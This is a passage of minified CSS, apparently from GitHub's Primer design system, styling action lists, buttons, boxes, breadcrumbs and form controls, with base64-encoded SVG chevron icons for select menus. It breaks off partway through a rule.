.ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] 